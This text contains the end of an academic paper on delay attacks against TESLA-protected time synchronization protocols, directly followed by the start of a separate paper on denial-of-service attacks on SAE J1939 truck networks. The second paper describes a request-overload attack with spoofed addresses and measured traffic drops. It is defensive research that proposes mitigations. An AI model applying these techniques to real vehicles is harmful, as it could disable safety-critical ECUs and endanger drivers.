2 1/10 236.97 Out of memory
3 233.14 Out of memory

Fig. 4. The performance data of our UPPAAL model on the computer used

against the attack in the sense that Phase 2 is completely excluded. For NTS-
secured NTP and for ASTS, we also constructed scenarios in which the specifi-
cations are vulnerable to the attack in the sense that Phase 2 can be executed
against them. The parameter spaces between the given scenarios are the subject
of future research. Note that our discussion of those scenarios represents only
initial assessments derived from the respective specification documents.

NTS-Secured NTP: The Network Time Security (NTS) specification aims to
secure time synchronization in packet-switched networks. The project is moti-
vated by the fact that neither of the predominant time synchronization proto-
cols – NTP and PTP – currently provide adequate security mechanisms (Refer-
ence [20], for example, provides an analysis of the weaknesses in NTP’s Autokey
protocol [11]). Currently, the NTS specification is still in the standardization
process at the IETF [22]. Here, we focus on the application of NTS to the NTP,
since this is already specified in an additional draft document [23]. Time synchro-
nization in NTP’s unicast mode is secured via a unique shared secret between
client and server, which is specified in such a way that the server is able to re-
generate it on request, thus preserving server-side statelessness. NTP’s broad-
cast mode is secured via TESLA [22, Sect. 5 and Appendix B of Version 08], [23,
Sects. 4.2, 5.1.2 and 5.2.2 of Version 00].

The fact that NTS-secured NTP offers secured unicast time synchronization
enables a defense against the attack in the sense of Option 4. The specifica-
tion mentions that secured unicast messages are used to set up the initial time
synchronization required for the TESLA-like mechanism, but does not mention
whether or how often unicast exchanges should be used after this initialization.
Since Draft Version 05, the NTS specification has mentioned “keycheck” mes-
sage exchanges for broadcast messages. These represent timeliness confirmation
exchanges as discussed in Option 3. It should also be noted that, for offsets
less than 128 ms, the NTP avoids setting the client’s clock but adjusts its fre-
quency in order to minimize the time offset [15]. Only if offsets of more than
128 ms are reported consistently for a period of over 15 min will the protocol set
the time of the client’s clock. This represents a countermeasure in accordance
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with Option 5. A combination of these countermeasures enables us to construct
sets of configuration values with which NTS-secured NTP is completely pro-
tected against Phase 2 of the attack. For the first scenario, we assume that Alice
performs a keycheck exchange after the receipt of each broadcast packet. This
implies that Phase 2 of the attack can never work, because Alice will not accept
a non-timely packet as eligible, independently of the offset between her clock and
Bob’s clock. However, this scenario contradicts the principle of broadcast com-
munication and is therefore not feasible in real-world applications. For the second
scenario, we assume the following set of parameters: d = 2, L = 64 s, and n = 14.
Furthermore, we assume that secure time synchronization via unicast message
exchanges is an inherent part of the re-initialization process of the TESLA-like
mechanism. Here, we make reference again to the regulation that discards any
offset over 128 ms unless it is reported consistently for over 15 min and note that,
with these values, the TESLA-like mechanism runs for 896 s, which is just under
15 min. Therefore, all offsets over 128 ms will be ignored during the broadcast
synchronization, which yields Dmax = 128ms, even if all other circumstances
allow for a higher value of Dmax. Under these conditions, an upper bound for
the malicious offset that Mallory can accomplish during Phase 1 of the attack
is 14 · 128ms = 1792ms, which is far below the value (d − 1)L = 64 s needed to
start Phase 2. This scenario therefore offers complete protection against Phase 2
of the attack, even without the use of keycheck message exchanges.

We also construct a scenario in which NTS-secured NTP is vulnerable to the
attack. For this scenario, we choose d = 2, and then choose L = 512 s and n =
100. We also assume Dmax = 0.75 and L = 384 s. Under these conditions, any
offset that Mallory introduces for two consecutive broadcast messages is therefore
reported for 1024 s, which is over 15 min.

TinySeRSync: The TinySeRSync protocol [24] is intended as a secure and
resilient time synchronization subsystem, with particular application in net-
works of wireless sensors running TinyOS. The TinySeRSync protocol secures
time synchronization traffic via two tasks (its authors use the term “phases”)
running in parallel; each of them is run periodically, with no predefined interde-
pendence between their frequencies. The tasks start in order (task one first, task
two only after the completion of task one) and then run independently, without
communicating or synchronizing with each other directly. They only interact
by manipulating the same clock and network connections. The first task has
every pair of neighboring nodes in the assumed sensor network perform secure,
single-hop pairwise synchronization. This is a one-way, unicast-type time syn-
chronization that is secured by MACs (the specification uses the term “message
integrity code”). The MACs are generated with shared secret keys, requiring
every pair of neighbors to perform an appropriate secure key exchange as part
of the network preparations. The second task employs broadcast-type time syn-
chronization. This is secured via μTESLA [19, Sect. 5], a variant of TESLA
specifically designed to be slim enough to work in sensor networks. As already
mentioned, the two tasks are run in parallel and periodically. The unicast-type
messages from task one, which is run periodically, constitute a countermeasure
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against the attack in accordance with Option 4. Consequently, the transition
from Phase 1 to Phase 2 of the attack has to be reached between two execu-
tions of task one. However, it is stated that task one is typically run at a higher
frequency than task two [24, Sect. 7.1]. Therefore, the transition would have to
be made after, at most, one execution of task two, which is not possible. As
such, TinySeRSync can be expected to be immune against Phase 2 of the attack
described in Sect. 4, given that the configuration values, in particular for the
periodicity of the two tasks, follow the recommendations given in Reference [24].

ASTS: The authors of ASTS [27] compare their proposed protocol with Tiny-
SeRSync, highlighting its comparably higher accuracy as well as the fact that
ASTS is more lightweight than TinySeRSync. Both of these properties are
achieved by dropping the mechanisms of TinySeRSync’s first task, eliminat-
ing the secure single-hop pairwise synchronization. The requirement made by
μTESLA for initial time synchronization is fulfilled by using a global group key
mechanism (instead of μTESLA) for the first period of broadcast-type one-way
time synchronization. After this, ASTS employs μTESLA exclusively for secur-
ing the broadcast-type one-way time synchronization messages in subsequent
synchronization periods.

Disregarding the question of the extent to which the group key mechanism
might open the protocol up to internal attackers in the first period, we focus
on the usage of the TESLA-like mechanism after the first period. The authors
of ASTS suggest using an estimated value for packet propagation delay that is
negligible against the length of a μTESLA interval, as well as using this scheme
for a significant amount of intervals with low disclosure delay (parameters used
for the performance analysis environment are d = 2, interval length L = 60 s for
a number of n = 10 intervals [27, Section 3.A]). These settings appear to enable
the attack described in Sect. 4 in principle, although its practical feasibility will
depend on data we could not obtain from the paper: the maximum introducible
delay ≤ Dmax (which depends on the chosen value for the propagation delay
estimate parameter, as well as on the point in an interval that the nodes send
out their packets and the details of the employed clock adjustment mechanism)
and, finally, the actions that are taken when μTESLA is re-initialized. We focus
on the last item and use it to construct a scenario wherein ASTS is vulnerable
to the attack. If re-initialization of μTESLA does not entail any communication
related to Options 4 or 3 (it appears from Reference [27] that it does not), then
we can treat this as if μTESLA is running for an unbounded number of intervals.
In this case, any measures related to Option 5 or Option 1 can at best provide
mitigation against the attack in the sense that it takes longer to switch from
Phase 1 to Phase 2, but such measures cannot prevent the attack indefinitely.

If, on the other hand, ASTS is configured to include time synchronization
via the global group key mechanism as part of re-initialization of μTESLA, then
this constitutes a countermeasure conforming to Option 4. In this case, Phase 2
of the attack has to be started during the course of one run of μTESLA. For this
to be possible even in principle, Mallory needs Dmax > (d−1)·L

n−1 to hold, which
translates to Dmax > 60

9 s = 6.6 s in the performance analysis environment.
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Configuring Bob in such a way that he only sends broadcast packets after 55 s
of an interval have passed, we then achieve Dmax ≤ 5 s. Thus, in this scenario,
ASTS is robust against the attack in the sense that Phase 2 of it is unreachable.

8 Conclusions

In this paper, we have demonstrated an attack vector that can be used by an
adversary in order to break the security of broadcast time synchronization pro-
tocols which are protected by TESLA-like mechanisms. The adversary makes
use of very specific interdependence between timing and security occuring under
such circumstances.

We have provided options for countermeasures and discussed their respective
merits. Furthermore, we have provided insight into how some of these options
can be combined to defend against the attack, in particular against its Phase 2.
We have performed an automated analysis by means of the UPPAAL model
checker. This analysis has confirmed the vulnerability of the unmodified MEP
model to the attack; it has also confirmed the effectiveness of a combination of
countermeasures. Next, we have evaluated three existing protocols and found
that all of them provide mechanisms that correspond to one or more of the
options presented and are suitable to defend against the attack. In all of the
cases, however, the protection achieved depends on how these mechanisms are
applied, specifically the exact configuration values that the protocol uses. It is
important for the developers and users of these protocols to be aware of the
attack vector so that it can be defended against in existing environments.

Our next goal is the refinement of our UPPAAL model to allow for better
ratios of maximum accepted offsets to interval length. Additionally, a project is
underway in which an implementation of either TinySeRSync, ASTS, or both
is to be subjected to an attack according to the attack vector discovered. This
attack is intended to be performed by a piece of attacker software either in a
controlled real network or in a simulated environment. The objective of this work
is to prove practical relevance for existing specifications, and further quantify the
vulnerability or security of implementations under given circumstances.

Future research should additionally include in-depth analyses with regard
to the attack outlined in this paper of any (current and upcoming) specifica-
tions which use TESLA-like mechanisms to secure broadcast-type time syn-
chronization communication. Potential applications include a finished version
of NTS-Secured NTP as well as the ongoing work in the area of adding security
mechanisms to the IEEE 1588 standard (PTP). A more remote, yet interesting
question that could be pursued is the extent to which an attacker can make use
of disturbances via delay attacks which only trigger frequency manipulation. Is
it possible to manipulate the frequency of a client’s clock with consequences as
severe as Phase 2 of the attack described in Sect. 4? Another question is whether
it is possible to find attack vectors which use delay attacks to break the security
of synchronization processes with unicast messages (as opposed to broadcast
messages).
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Abstract. The Controller Area Network (CAN) protocol has become
the primary choice for in-vehicle communications for passenger cars and
commercial vehicles. However, it is possible for malicious adversaries to
cause major damage by exploiting flaws in the CAN protocol design or
implementation. Researchers have shown that an attacker can remotely
inject malicious messages into the CAN network in order to disrupt
or alter normal vehicle behavior. Some of these attacks can lead to
catastrophic consequences for both the vehicle and the driver. Although
there are several defense techniques against CAN based attacks, attack
surfaces like physically and remotely controllable Electronic Control
Units (ECUs) can be used to launch attacks on protocols running on
top of the CAN network, such as the SAE J1939 protocol. Commercial
vehicles adhere to the SAE J1939 standards that make use of the CAN
protocol for physical communication and that are modeled in a manner
similar to that of the ISO/OSI 7 layer protocol stack. We posit that the
J1939 standards can be subjected to attacks similar to those that have
been launched successfully on the OSI layer protocols. Towards this end,
we demonstrate how such attacks can be performed on a test-bed having
3 J1939 speaking ECUs connected via a single high-speed CAN bus. Our
main goal is to show that the regular operations performed by the J1939
speaking ECUs can be disrupted by manipulating the packet exchange
protocols and specifications made by J1939 data-link layer standards.
The list of attacks documented in this paper is not comprehensive but
given the homogeneous and ubiquitous usage of J1939 standards in com-
mercial vehicles we believe these attacks, along with newer attacks intro-
duced in the future, can cause widespread damage in the heavy vehicle
industry, if not mitigated pro-actively.

Keywords: Security · Vulnerability · CAN · J1939 · Data-link · Denial-
of-Service

1 Introduction and Previous Efforts

Gone are the days when vehicles used to be driven solely by human-mechanical
interactions. Since the advent of the Controller Area Network (CAN) in the
c© Springer International Publishing AG 2016
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early 1980 s vehicle manufacturers have adopted a more cyber-physical app-
roach to driving. Majority of the functions performed by vehicular mechanics
are now mediated through embedded devices referred to as Electronic Control
Units (ECUs). The ECUs help in executing critical (vehicle propagation, mainte-
nance etc.) as-well as less critical (driver comfort, entertainment etc.) vehicular
functions. While performing these functions, the ECUs interact with each other
using fixed-length packets over the CAN bus. The CAN protocol follows a set of
specifications [1] that enables it to support high-speed communications over a
2-wire serial broadcast bus. In addition, CAN allows assigning priorities to indi-
vidual messages, thereby permitting higher priority messages to pass through at
the time of contention. This not only allows ECUs to perform time critical func-
tions like throttle and brake control but also perform less important functions
like telematics and comfort management.

The CAN protocol facilitates in-vehicle message exchange. It does not how-
ever specify what messages are exchanged and how they are used by ECUs. It is
often the responsibility of the vehicle manufacturer to implement protocols and
standards which provide these functionalities. While passenger car manufactur-
ers opt for proprietary standards, commercial vehicle vendors adopt a common
set of standards specified by the SAE International. The standards are unified
under the common naming convention SAE J1939 [9]. SAE J1939 is modeled on
the ISO/OSI network protocol stack with the physical layer functionalities being
realized by the CAN protocol. Together, the CAN protocol and J1939 specifi-
cation sets help in accomplishing complex mechanical and electrical functions
within a commercial vehicle.

Like other frequently used communication protocols and standards, CAN and
J1939 are also accompanied by their fair share of security pitfalls. While attacks
on the CAN protocol have been researched extensively of late [4,6,8,12,13], secu-
rity aspects of the SAE J1939 specifications have been largely overlooked. More
recently, Burakova et al. [2] attempted to replicate consumer vehicle specific
attacks on their heavier counterparts by cleverly crafting, replaying and spoof-
ing J1939 messages. The authors were successful in manipulating both critical
(e.g. Engine RPM) and less critical features (e.g. Oil Pressure Gauge) to their
desired levels. However, their work did not exploit any specifications made by the
J1939 standards. In other words, these attacks are not specific to just trucks or
other vehicles complying J1939 communications. In fact, by altering specifics of
the attack vectors, similar attacks can be launched on consumer vehicles. Thus,
to the best of our knowledge, this is the first work focused on discussing weak-
nesses in the SAE J1939 specifications. SAE J1939 is a collection of standards
describing various functionalities at different layers. Currently, there are 17 such
standards and each standard is a collection of different protocols and specifica-
tions. Documenting all possible attacks on J1939 is a time-consuming process. In
order to scope our work, we limit our attacks to exploiting weaknesses in the the
data-link layer protocols specified in the SAE J1939-21 standard document [10].
The reader can view this work as a proof-of-concept aimed at establishing the
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fact that attackers can exploit the protocol specified in the SAE J1939 standards
to cause major damage.

Hoppe et al. [4] performed a practical security analysis of the CAN network
and identified the basic weaknesses in the CAN protocol which allow targeted
attacks to succeed. These weaknesses were modeled on the five central infor-
mation security concerns, namely, confidentiality, integrity, availability, authen-
ticity, and non-repudiation. After analyzing the majority of the current CAN
security literature, we conclude that physical damage can be caused to the vehi-
cle and the driver by exploiting the lack of integrity, availability, and authenticity
services offered in the CAN bus. Deceiving ECUs to perform unintended actions
(integrity and/or authenticity issues) or disabling the ability of the ECUs to
perform regular tasks (availability issues) can result in problematic or undesir-
able consequences. Since J1939 uses CAN services at the physical layer, it is also
susceptible to attacks launched by exploiting integrity, availability, and authen-
ticity deficiencies. For example, J1939 allows some ECUs to command other
ECUs to perform critical activities like transmission and torque/speed control.
Impersonating as the former can allow attackers to control/modulate these vehi-
cle critical functions. We refer to this as an injection attack. Similarly, attackers
can inhibit the functionalities offered by one or more ECUs by overwhelming
the performance capabilities of the ECUs or the bus. We refer to such an attack
as denial-of-service (DoS) attack as it adversely affects the services provided
by the ECUs or the CAN bus. Although both these attacks can lead to fatal
consequences, in this work we limit out exploration to DoS attacks on the SAE
J1939 data-link layer protocol. This is because injection attacks can be launched
straightforwardly by searching for command messages from the J1939 Digital
Annex [11] and injecting them into the CAN bus. On the contrary, DoS attacks
require studying the workflow of the SAE J1939 data-link layer protocols, find-
ing suitable attack vectors and drawing inferences by analytically observing of
the bus traffic. The scientific challenges involved in executing DoS attacks make
it more interesting from a research perspective compared to injection attacks.

Our goal in this paper is to demonstrate techniques by which the regular
work-flow of the J1939 data-link layer protocols can be disrupted. However, we
do not discuss the eventual effect of attack on the mechanical behavior of the
vehicle. This is because we assume that some normal vehicular functions depend
entirely on the seamless accomplishment of all the protocols involved in executing
them and any disparity observed in the protocol flow should cause some adverse
effect on the mechanical behavior of the vehicle. Documenting the exact effect
is beyond the scope of this work.

The rest of the paper is organized as follows. Section 2 provides a brief
overview of CAN protocol and J1939 standards with emphasis on the J1939
data-link layer [10]. Section 3 discusses our threat model, a concise categoriza-
tion of the attacks performed in this paper, and the experimental setup used.
Section 4 documents and analyzes three separate DoS attacks. Each attack is
complemented with suggested mitigation techniques. Section 5 concludes the
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Fig. 1. J1939-OSI Model

Fig. 2. Example CAN network

paper with an overview of the results achieved and indicates the future direction
of advancements for both attack and defense strategies for the J1939 standards.

2 Background

Embedded communications in commercial vehicles are facilitated by the SAE
J1939 [9] standards. As shown in Fig. 1, J1939 is modeled on the ISO/OSI pro-
tocol stack. A J1939 packet is created at the applications layer. As a packet
moves down the layers it is optionally split up into two or more protocol data
units (PDUs) at the data-link layer. This is because the physical layer opera-
tions are guided by the CAN protocol which allows a maximum of 8 data bytes
in one CAN frame. Finally, the CAN frames are exchanged using CAN protocol
specifications.

2.1 The Physical (CAN) Layer

Functions at the lowermost layer the of the J1939 protocol stack are handled
by the CAN protocol [1]. The protocol handles transmission of J1939 packets
over a 2-wire multi-master serial bus. CAN is a broadcast protocol and does not
specify unicast message transfer. This means every node (ECU) on a CAN bus
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Fig. 3. J1939 message format

can see messages transmitted by every other node. Protocols running on top of
the CAN bus, however, can implement functionalities to accomplish point-to-
point message transfer. J1939, as will be seen later in this section, uses source
and destination address fields to specify senders and receivers of CAN frames.
An example CAN network is shown in Fig. 2. ECUs can transmit messages on
the bus following a CSMA/CD bus access method. This means the ECUs can
transmit messages on the bus only when it is free. If two ECUs transmit on a free
bus at the same time, the protocol arbitrates between the two messages using the
CAN message identifier. The CAN identifier is an additional 11 (standard) or
32 (extended) bit field prepended to an 8 byte CAN message. As it will be seen
later, J1939 recommends the 29 bit identifier, hence the extended CAN identifier
is used for arbitration purposes. Finally, in CAN bus terminology a 0 (dominant
bit) on the bus is considered to be of higher priority than 1 (a recessive bit).
This means, on the CAN bus, a message whose prefix is “000” overwrites the
one whose prefix is “001”.

2.2 J1939 Packet Formatting

The general format of the J1939 message is shown in Fig. 3. A single J1939
message can be partitioned into a 29 bit identifier (ID) section and variable size
data section. Since the CAN protocol allows only 8 bytes of data in one frame,
the variable size data section is broken up into 8 byte packets and appended
with the identifier to form a J1939 PDU. At the physical layer, a few more CAN
specific bits are added to the J1939 PDU and transmitted on the bus as a CAN
frame.

Identifier Field. The J1939 identifier is divided into 6 sub-fields.

– Priority: The 3 bit priority field is used to as a base for the CAN arbitration
scheme. Priorities can vary from 0002 (010) to 1112 (710). The J1939 standard
assigns a default priority of 0112 (310) to vehicle control messages and 1102
(610) to all other messages. The priority is ultimately specified by the original
equipment manufacturer (OEM).

– Extended Data Page (EDP): Currently the EDP bit is set to 02 (010) for
all J1939 messages.
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Fig. 4. Generating a J1939 identifier from the digital annex

– Data Page (DP): The DP bit can be set to either 02 (010) or 12 (110). The
actual value of the DP bit for a particular message can be obtained from the
J1939 Digital Annex [11].

– PDU Format (PF) and PDU Specific (PS): In terms of message commu-
nication the PF and PS are the most significant bit fields. When put together
along with EDP and DP they evaluate to what is referred to as the Parameter
Group Number (PGN). PGNs are used to group J1939 messages according to
their functionality. For example, messages related to torque or speed control
are assigned the PGN 010 (000016), whereas those related to tire sensor identi-
fication are assigned the PGN 3251210 (7F0016). When encoded hexadecimals,
the first ten bits of the PGN represent the PF and the last 8 bits represent
the PS. When PF values are less than 24010 (F016) the PS field is used to
specify the address of the intended receiver.

– Source Address (SA): The source address field is used to specify the address
of the sender. The source address field can be used to filter and process
messages at the hardware level to avoid overloading the ECU firmware with
unnecessary message processing. Source addresses can range from 000000002
(010/0016) to 111111112 (25510/FF16). The J1939 Digital Annex [11] contains
a list of suggested source address assigned to various functional ECUs.

To summarize, Fig. 4 shows how a J1939 identifier is constructed from J1939
standard entries. An additional 3 bit padding is added to convert the identifier
into 32 bit CAN arbitration field. Since the PF is less than 240, the PS field
denotes the receiver of the message (0016) which in this case is the Engine#1
ECU. The SA field is used to denote the sender F916 which is the off-board
diagnostic service tool.

Data Field. J1939 message data field is constructed using Suspect Parameter
Numbers (SPNs). Each PGN is associated with a set of SPNs. An SPN definition
determines how a message (encoded in bits) belonging to a particular PGN is
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converted into application readable information. For example, the first 2 least
significant bits in PGN 3251210 data is assigned the SPN 69510. According to the
SPN definition, the 2 least significant bits denote the Engine Override Control
Mode and can assume any of 4 (22) states. The attacks demonstrated in this
paper do not make use of SPN numbers and hence we do not discuss this further.

2.3 Message Transmission Rates

J1939 recommends transmitting messages at various rates depending on the
PGN Transmission Rate specification available in the digital annex [11]. A broad
categorization of the transmission rates is presented below. The categorization
was done by thoroughly observing the Transmission Rate specification available
in the digital annex.

– Periodic: Transmitted at various time intervals (seconds or milliseconds) as
specified in the J1939 standards.

– On-Request: Transmitted on receiving a request.
– Event-Based: Transmitted at the occurrence of a specific event or interrupt.
– Manufacturer Defined: Transmission rates are defined by the manufacturer.
– Requirement Based: Transmitted only if required.
– Conditional: Dependent on ECU parameters like Engine Speed or other fac-

tors like state change.
– Unspecified: Transmission rates are not specified for these PGNs.
– Hybrid: Any combination of the above categories. For example, the time

interval of periodically transmitted messages can vary depending on condi-
tional factors.

2.4 J1939 Data-Link Layer

Figure 1 shows 4 layers in a J1939 protocol stack. Each of these layers has one
or more standard documentations associated with them. The documentations
can be found in SAE standards repository (http://www.sae.org). The attacks
documented in this paper employ extensive usage of the request message doc-
umented in the J1939-21 (data-link layer) [10] standard. The request message
(PGN 5990410/EA0016) is used to request a particular PGN from a single or a
group of ECUs on the bus. Since the PF (23410/EA16) for the request PGN is less
than 24010 (F016), the PS field is used to specify the address of the intended
receiver of this message. This address can be destination specific like Engine
(0016), Brake (0B16) or global broadcast (FF16). A destination specific request
is answered by the receiver with either the requested PGN or a negative acknowl-
edgment. Acknowledgment messages are assigned to the PGN 5939210 (E80016).
As with the request PGN the acknowledgment can also be destination specific
or broadcast. The first byte in the data field of an acknowledgment messages is
the control byte. The mapping for the control byte values and the information
conveyed by the respective acknowledgment messages are shown below:

http://www.sae.org
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Table 1. Frequently Used PGNs

– 010 (0016): Positive Acknowledgment (ACK).
– 110 (0116): Negative Acknowledgment (NACK).
– 210 (0216): Access denied.
– 310 (0316): Cannot respond.
– 410 (0416) – 25510 (FF16): Reserved for SAE assignment.

Requested PGNs are transferred either as a single packet (with 8 bytes or
less of data) or multiple packets (with more than 8 bytes of data). In the sec-
ond case, SAE recommends implementing a connection oriented multi-packet
data transfer. A destination specific multi-packet data transfer (Fig. 5) starts
by initiating a request (PGN 5990410/EA0016). The requested party attempts
to open a connection by sending a Request to Send (RTS) message (PGN
6041610/EC0016). In response, the requester sends a Clear to Send (CTS)
message (PGN 6041610/EC0016). Upon receiving the CTS the requested party
starts sending the data using the data transfer PGN (6016010/EB0016). On
successful completion of the message transfer, the requester sends an End of
Message Acknowledgment (EndOfMsgACK) (PGN 6041610/EC0016). A sum-
mary of the PGNs used in our attacks (request, connection management and
destination specific data-transfer) is shown in Table 1.

3 Preliminaries

The contents of this section convey the preparatory information for the attacks
demonstrated in the next section. This includes the threat model under which
our attacks were performed, a concise categorization of our attacks, and the
experiment set-up we used to conduct the DoS attacks.



Practical DoS Attacks on Embedded Networks in Commercial Vehicles 31

Fig. 5. Requested Multi-packet PGN transfer

Table 2. Attack Categorization

Attack Name Type of Message Exploit

Request Connection
Management

Implementation
Issues

Specification
Issues

Request Overload Yes No No Yes

False RTS Yes Yes Yes Yes

Connection Exhaustion Yes Yes No Yes

3.1 Threat Model

For the purpose of this work, we assume an active adversary with direct access
to the CAN bus. By active, we mean that the adversary is capable of inject-
ing any message into the CAN bus and disrupting the regular operations. The
capabilities of the adversary are however restrained by the computational power
of the device which is used to inject these messages. This device can be physi-
cally attached to the bus (a compromised Entertainment ECU or a pass through
device attached to the OBD-II port) or connected remotely to wireless interfaces
on the vehicle bus such as the telematics units, Tire Pressure Monitoring System
(TPMS) or Bluetooth unit [3]. The use of any of these attack surfaces constricts
the attackers resource significantly, either due to low computation power or con-
siderable network delay.
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Fig. 6. Experiment test-bed schematic

3.2 Attack Categorization

Three separate DoS attacks are demonstrated in Sect. 4 of this paper. In this
subsection, we attempt to classify the attacks on the basis of a few factors: type
of message (PGN) used for attack and exploit (flaws in implementation and/or
specifications). The categorization is shown in Table 2. The leftmost column of
the table, lists the three attacks namely, Request Overload, False RTS and
Connection Exhaustion. The details about execution and findings from these
attacks are reported in the next Sect. 4.

3.3 Experiment Test-Bed

All attacks were conducted on a test-bed consisting of a single high-speed CAN
bus with a baud rate of 250 kbps. The normal bus load was measured at 14%–15%
using the canbusload utility from the can-utils [7] program built for SocketCAN
in Linux. A schematic of the test-bed is shown in Fig. 6. The test-bed consisted of
an Engine Control Module (ECM) and a standalone Brake Controller (0B16).
The ECM includes an Engine-#1 ECU (SRC: 0016) and a Retarder-Engine
ECU (SRC: 0F16)1. The make and model of the ECUs are not revealed to protect
vendor reputation.

Figure 6 also shows two BeagleBone Black (BB1 and BB2) devices with cus-
tom built heavy vehicle communication protocol transceivers. The BeagleBones
act as regular ECUs or other embedded devices connected to the bus. All
attacks were performed using these devices. Both the BeagleBones hosted 32
bit Ubuntu@Linux operating systems running on an ARM processor with 500
MB of RAM. Although we had can-utils [7] at our disposal we preferred to use
the python3 implementation2 of the the SocketCAN driver [5] to conduct the
attacks. This is because SocketCAN offered much more flexibility in implement-
ing a morphed version of the J1939 data-link layer protocols for the purpose of
the attacks.

Ten different snapshots of the CAN bus traffic was taken for 10 s each. It
was observed that the traffic pattern outlined in Table 3 was exactly same for
1 The names of the ECUs are obtained from the J1939 Digital Annex Source Address

Tab.
2 http://python-can.readthedocs.io/en/latest/socketcan native.html.

http://python-can.readthedocs.io/en/latest/socketcan_native.html
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Table 3. Test-bed traffic

Identifier Priority PGN SRC Count Measured
interval in ms

Matching
Annexed Interval
in ms

0CF00300 High 61443 00 200 50 50

0CF00400 High 61444 00 500 20 20

18E0FF00 Low 57344 00 10 1000 1000

18EBFF00 Low 60160 00 130 76.9230769231 Prop

18EBFF0F Low 60160 0F 6 1666.6666666667 Prop

18ECFF00 Low 60416 00 12 833.3333333333 Prop

18ECFF0F Low 60416 0F 2 5000 Prop

18F0000F Low 61440 0F 100 100 100

18F00100 Low 61441 00 100 100 100

18F0010B Low 61441 0B 99 100 100

18FD7C00 Low 64886 00 10 1000 Prop

18FDB300 Low 64947 00 20 500 500

18FDB400 Low 64948 00 20 500 500

18FEBD00 Low 65213 00 10 1000 1000

18FEBF0B Low 65215 0B 100 100 100

18FEC100 Low 65217 00 10 1000 1000

18FEDF00 Low 65247 00 500 20 Prop

18FEE000 Low 65248 00 100 100 100

18FEE400 Low 65252 00 10 1000 1000

18FEEE00 Low 65262 00 10 1000 1000

18FEEF00 Low 65263 00 20 500 500

18FEF000 Low 65264 00 100 100 100

18FEF100 Low 65265 00 100 100 100

18FEF200 Low 65266 00 100 100 100

18FEF500 Low 65269 00 10 1000 1000

18FEF600 Low 65270 00 20 500 500

18FEF700 Low 65271 00 10 1000 1000

18FEFF00 Low 65279 00 1 10000 10000

all 10 snapshots. Only two distinct priorities were observed on the bus: 0112/310
(0C16 with padding) and 1102/610 (1816 with padding). The Measured Intervals
were calculated by dividing 10000 ms (10 s) by the individual message counts.
The Matching Annexed Intervals were obtained for each observed PGN from
the digital annex [11]. If the Matching Annexed Intervals did not match the
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Measured Intervals it was assumed that they were pre-programmed by the vendor
and marked “Prop”.

4 Attacks

In our pursuit to find weaknesses in the J1939 data-link layer specifications, we
performed three separate DoS attacks that were briefly introduced in Sect. 3.2.
We now present the details of the attacks. The documentation process for each
attack is subdivided into 5 components:

1. Background Theory: We begin by introducing the core J1939 concept
exploited for the attack.

2. Proposed Attack: An attack is proposed based on the background theory.
3. Execution: The attack is executed.
4. Observation and Analysis: The effect of the attack is evaluated by study-

ing the network traffic and optionally using fitting metrics and charts. If
required statistical significance testing is performed to gauge the truth value
(Success or Failure) of the attack.

5. Suggested Mitigation Techniques: Finally, we suggest some probable mit-
igation techniques for the described attack.

4.1 Request Overload

Background Theory. The J1939-21 standard suggests an algorithm to filter
received messages at the microprocessor level. The intended use of this algorithm
is to reduce the load on the application. For a destination specific request, the
filtering algorithm recommends queuing message bytes (for further processing)
if the destination address in the message identifier matches the device’s source
address. Once a request is queued, the ECU is expected to see if the PGN is
supported by it. If supported, the ECU should reply back with the PGN.

Proposed Attack. Sending a large volume of request messages for a supported
PGN should increase the computational load of the recipient ECU to an extent
where it might not be able to perform regular activities like transmitting periodic
messages.

Execution. We wrote a Python script to send repeated requests for ECU com-
ponent id (PGN 6525910/EBFE16) to the Engine-#1 ECU (refer to Fig. 6). We
chose the Engine ECU as the target because we wanted to reduce the count of
high-priority messages on the bus and the normal bus traffic from Table 3 shows
that Engine-#1 is the only ECU transmitting high priority (0C16) messages. The
component id is a multi-packet (greater than 8 bytes) PGN. Responding to the
request thus requires the ECU to perform slightly more activity than responding
with a single-packet PGN.
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Our attack script expected three arguments (used as independent variables
for further analysis), namely, (1) number of concurrent threads, (2) injection time
interval and (3) source address. The first two arguments allowed us to strengthen
the magnitude of the attack. The final argument was varied to spoof the sender
of the injected message. Three values were chosen for the spoofed address: 0B16

(Brake Controller), 0016 (Engine-#1) and F916 (Off Board Diagnostic Service
Tool). The idea was to observe whether replies sent by the Engine-#1 to the
brake, to itself or to a non-existent ECU alters its behavior in any way.

Observation and Analysis. As seen from Fig. 7 and Table 4, performing the
attack caused regular messages on the bus to drop significantly. High Priority
message (blue curve) count dropped by an average of 46.64 % with the maximum
drop obtained at spoofed-SRC: F9, num-thread: 8, interval: 1.2. Low priority
message count, on the other hand, dropped significantly for both the Engine-
#1 (SRC: 0016) and the Retarder (SRC: 0F16) although the average drop was
almost equal (˜ 65 %) for both. The peak drops for Engine-#1 (SRC: 0016) and
Retarder were observed at the following points spoofed-SRC: 0B, num-thread:
8, interval: 1.2 and spoofed-SRC: F9, num-thread: 8, interval: 1.2 respectively.
The least amount of drop in count (for orange, red and blue lines from Fig. 7)
was observed at the point spoofed-SRC: F9, num-thread: 4, interval: 0.4.

Fig. 7. Request overload effect on normal traffic: percentage reduction in regular mes-
sage volume (Color figure online)

Pearson correlation coefficients for each independent variable (argument) and
the reduction percentages for high priority messages (high priority messages were
chosen for this purpose since they are hard to suppress on a CAN bus) are shown
below:

– Source: −0.01 (negative weak correlation). As the source address increases
from 00 to F9, reduction percentages drop [weakly].
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Table 4. Request overload effect on normal traffic: percentage reduction in regular
message volume [Raw Statistics]

Attack Parameters Average Message Count per Source Address

00 0B 0F

Source Thread Interval High P Low P Low P Low P

(no) (ms) Count Decrease Count Decrease Count Decrease Count Decrease

(%) (%) (%) (%)

0B 1 0.4 216 38.29 257 60.16 117 -17 23 56.6

0B 1 0.8 153 56.29 114 82.33 120 -20 12 77.36

0B 1 1.2 123 64.86 86 86.67 140 -40 8 84.91

0B 4 0.4 297 15.14 502 22.17 111 -11 40 24.53

0B 4 0.8 221 36.86 319 50.54 119 -19 28 47.17

0B 4 1.2 197 43.71 219 66.05 122 -22 17 67.92

0B 8 0.4 215 38.57 285 55.81 125 -25 21 60.38

0B 8 0.8 115 67.14 98 84.81 129 -29 5 90.57

0B 8 1.2 117 66.5 46 92.87 118 -18 8 84.91

F9 1 0.4 235 32.86 302 53.18 118 -18 27 49.06

F9 1 0.8 136 61.14 118 81.7 128 -28 6 88.6

F9 1 1.2 121 66.4 75 88.37 119 -19 5 90.6

F9 4 0.4 310 11.43 524 18.76 109 -9 45 15.09

F9 4 0.8 239 31.71 317 50.85 118 -18 29 45.28

F9 4 1.2 207 40.86 253 60.78 130 -30 20 62.26

